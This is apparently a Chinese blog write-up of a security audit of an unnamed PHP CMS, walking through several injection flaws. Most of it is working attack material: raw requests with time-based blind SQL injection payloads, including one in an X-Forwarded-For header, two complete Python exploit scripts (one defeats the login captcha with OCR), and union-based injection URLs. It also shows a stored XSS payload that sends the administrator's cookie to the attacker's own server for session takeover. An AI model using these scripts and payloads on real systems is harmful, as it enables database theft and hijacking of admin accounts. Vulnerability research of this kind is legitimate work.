记一次某cms的审计,文章有写的不好的地方,大佬们轻喷。
├── Conf(连接数据库的一些配置文件)
├── Libs(一些公共函数)
├── Statics(js的一些静态文件)
├── Style(css样式)
├── add_book.php
├── add_do.php
├── code.php
├── foot.php
├── index.php
├── install(网站安装目录)
├── system(网站后台,审计的重点)
└── top.php
/system/add_book_class.php
,关键代码如下,这里没有任何的过滤
...... ...... ...... <?php if($_GET["act"]==ok){ $siteinfo = array( 'title' => $_POST['title'], 'c_order' => $_POST['c_order'] ); $db->insert("****cms_book_class", $siteinfo); //$db->close(); echo "<script language='javascript'>"; echo "alert('恭喜您,信息内容添加成功!');"; echo " location='manage_book_class.php';"; echo "</script>"; } ?>
insert函数在/Libs/Class/mysql.class.php
,内容如下,这里也并没有对插入数据库的函数进行过滤
function insert($tableName, $column = array()) { $columnName = ""; $columnValue = ""; foreach ($column as $key => $value) { $columnName .= $key . ","; $columnValue .= "'" . $value . "',"; } $columnName = substr($columnName, 0, strlen($columnName) - 1); $columnValue = substr($columnValue, 0, strlen($columnValue) - 1); $sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)"; $this->query($sql); }
payload:
POST /system/add_book_class.php?act=ok HTTP/1.1 Host: localhost:81 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 93 Origin: http://localhost:81 Connection: close Referer: http://localhost:81/system/add_book_class.php Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6 Upgrade-Insecure-Requests: 1 title=',case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end)#&c_order=1
这里title
和c_order
参数都存在sql注入
获取数据库名的exp如下:
import requests import time url = 'http://localhost:81/system/add_book_class.php?act=ok' # 这里省去了登录的爬虫,因为存在验证码,ocr比较麻烦,所以登录成功后,把cookie替换一下即可 cookie = {'Cookie': 'PHPSESSID=npvaign44srcvlhjglh9srrqo6'} def binary_search_sql(start,end,payload,length=2): name = '' for i in range(1,length+1): left = start right = end while 1: mid = (left + right) // 2 if mid == left: name += chr(mid) break start_time = time.time() full_payload = payload.format(num1=str(i),num2=str(mid)) requests.post(url=url,data={'title':full_payload,'c_order':'1'},headers=cookie) print(full_payload) if time.time() - start_time > 2.5: right = mid else: left = mid return name # 这里爆破库名长度 # 5 database_length_payload = "',case when (ascii(mid((length(database())),{num1},1))<{num2}) then (sleep(3)) else (1) end)#" database_length = binary_search_sql(48,57,database_length_payload,1) print('database_length:'+database_length) # 这里爆破库名 # database_payload = "',case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end)#" print('database_name:'+binary_search_sql(33,127,database_payload,int(database_length)))
/system/loginpass.php
关键代码如下
...... ...... ...... $login_ip=getIp(); $sql="select * from admin_user where u_name='".$m_name."' and u_pwd='".$m_pwd."'"; $result=$db->query($sql); if(!mysql_num_rows($result)==0){ $_SESSION["m_name"] = $m_name; $db->query("UPDATE admin_user SET login_nums=login_nums+1 where u_name='".$m_name."'"); $login_info=array( 'u_name'=>$m_name, 'login_date'=>strtotime(date('Y-m-d')), 'login_ip'=>$login_ip ); $db->insert("admin_login_log",$login_info); $db->close(); ok_info('***cms.php','恭喜您,登陆成功!'); } ...... ...... ......
getIp()
函数如下
function getIp() { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return ($ip); }
这里对ip没有做任何的过滤限制,我们可以用http头X-Forwarded-For
,对输入的ip进行控制,也就是说,loginpass.php
中的变量$login_ip
是可控的
insert
函数如下
function insert($tableName, $column = array()) { $columnName = ""; $columnValue = ""; foreach ($column as $key => $value) { $columnName .= $key . ","; $columnValue .= "'" . $value . "',"; } $columnName = substr($columnName, 0, strlen($columnName) - 1); $columnValue = substr($columnValue, 0, strlen($columnValue) - 1); $sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)"; $this->query($sql); }
这里对插入的数据也没有做任何限制
payload如下
POST /system/loginpass.php HTTP/1.1 Host: localhost:81 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 33 Origin: http://localhost:81 Connection: close Referer: http://localhost:81/system/index.php Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6 Upgrade-Insecure-Requests: 1 X-Forwarded-For: 1' and case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end and ' admin=1&password=1&checkcode=4K23
也就是说,我们只要能正确识别验证码,X-Forwarded-For
中提交盲注的内容,就可以进行sql注入
注入数据库名的exp.py
这里必须要安装pytesseract库
和tesseract
,这样的话ocr识别很快
import requests from PIL import Image import pytesseract from time import time r = requests.Session() url_code = 'http://localhost:81/system/code.php?act=yes' url_login = 'http://localhost:81/system/loginpass.php' length = '' name = '' # 这里获取验证码,并将原图转为灰度图像,然后再指定二值化的阈值 def code(): req = r.get(url_code) with open('1.png', 'wb') as f: f.write(req.content) #新建Image对象 image = Image.open("1.png") #进行置灰处理 image = image.convert('L') #这个是二值化阈值 threshold = 150 table = [] for i in range(256): if i < threshold: table.append(0) else: table.append(1) #通过表格转换成二进制图片,1的作用是白色,不然就全部黑色了 image = image.point(table,"1") code = pytesseract.image_to_string(image) return code # 这里判断数据库名长度验证码是否正确,如果错误的话,递归提交,直到正确为止 def checkcode_length(num2,num1=1): payload_length = "1' and case when (ascii(mid((length(database())),{num1},1))={num2}) then (sleep(3)) else (1) end and '" data = {'admin': '1', 'password': '1', 'checkcode': code() } full_payload = payload_length.format(num1=str(num1),num2=str(num2)) print(full_payload) req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload}) if '验证码输入有误' in req.text: return checkcode_length(num2) # 这里判断数据库名验证码是否正确,如果错误的话,递归提交,直到正确为止 def checkcode_database_name(num1,num2): payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '" data = {'admin': '1', 'password': '1', 'checkcode': code() } full_payload = payload_database_name.format(num1=str(num1),num2=str(num2)) print(full_payload) req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload}) if '验证码输入有误' in req.text: return checkcode_database_name(num1,num2) # 这里返回数据库名的长度 def database_length(): global length for i in range(48,58): payload_length = "1' and case when (ascii(mid((length(database())),1,1))={num1}) then (sleep(3)) else (1) end and '" data = {'admin': '1', 'password': '1', 'checkcode': code() } full_payload = payload_length.format(num1=str(i)) print(full_payload) start_time = time() req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload}) if '验证码输入有误' in req.text: checkcode_length(str(i)) else: if time() - start_time > 2.5: length += chr(i) print(length) # 这里调用database_length()函数来获取数据库名的长度 database_length() print(length) # 这里返回数据库名 def database_name(): global name payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '" for i in range(1,int(length)+1): left = 32 right = 127 while 1: mid = (left + right) // 2 if mid == left: name += chr(mid) break data = {'admin': '1', 'password': '1', 'checkcode': code() } full_payload = payload_database_name.format(num1=str(i), num2=str(mid)) print(full_payload) start_time = time() req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload}) print(full_payload) if '验证码输入有误' in req.text: checkcode_database_name(i, mid) else: if time() - start_time > 2.5: right = mid else: left = mid # 这里调用database_name()函数来获取数据库名 database_name() print(name)
/system/hf_book.php
关键代码如下,大概在这个页面的18行左右
.... .... .... $sxid=$_GET["id"]; $e_rs=$db->get_one("select * from ***cms_book where id=$sxid",MYSQL_ASSOC); $bid=$e_rs['id']; .... ....
先猜测字段数目,11正确,12错误,说明字段数是11
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 11#
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 12#
看回显部分,字段3和字段5存在回显
http://localhost:81/CMS/***cmcs/system/hf_book.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11#
注入出数据库名
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11#
这里其实还有非常多的sql注入,包括insert注入,delete注入,update注入,由于文章篇幅的原因,没有一一例举。因为源头insert或者update或者delete没有做好过滤,导致了这篇漏洞,所以这里也就不再重复说明,举了几个比较典型的案例来说明
/add_do.php
<?php session_start(); require 'Conf/***cms.inc.php'; require 'Libs/Function/fun.php'; if(strtolower($_POST["checkcode"])==strtolower($_SESSION["randval"])){ unset($_SESSION["randval"]);//释放session中的变量 }else{ unset($_SESSION["randval"]); ok_info(0,"验证码输入有误!"); exit(); } $byz=$_POST['b_yzcode']; if($byz!==md5($yzcode)){ ok_info(0,'错误的参数!'); } $siteinfo = array( 'type_id' => intval(trim($_POST['type_id'])), 'b_title' => injCheck($_POST['b_title']), 'b_content' => injCheck($_POST['b_content']), 'b_name' => injCheck($_POST['b_name']), 'b_tel' => injCheck($_POST['b_tel']), 'b_mail' => injCheck($_POST['b_mail']), 'b_qq' => injCheck($_POST['b_qq']), 'b_ip' => injCheck($_POST['b_ip']), 'c_date' => time() ); $db->insert("***cms_book", $siteinfo); $db->close(); ok_info('/index.php','恭喜你,留言提交成功!'); ?>
第17行到第24行,只对sql注入进行了过滤,并没有对xss过滤,导致了这些提交字段都存在xss漏洞
然后我们到该页面,进行提交
这里我是用我的服务器进行监听,4.js
内容如下
var image=new Image();
image.src="http://你的vps-ip:10006/cookies.phpcookie="+document.cookie;
然后在我自己的服务器上nc监听
然后当管理员在后台点击访问新回复的时候
然后可以打到cookie并且可以成功登录
其实这里也有后台存储型xss,但是很鸡肋,就不说了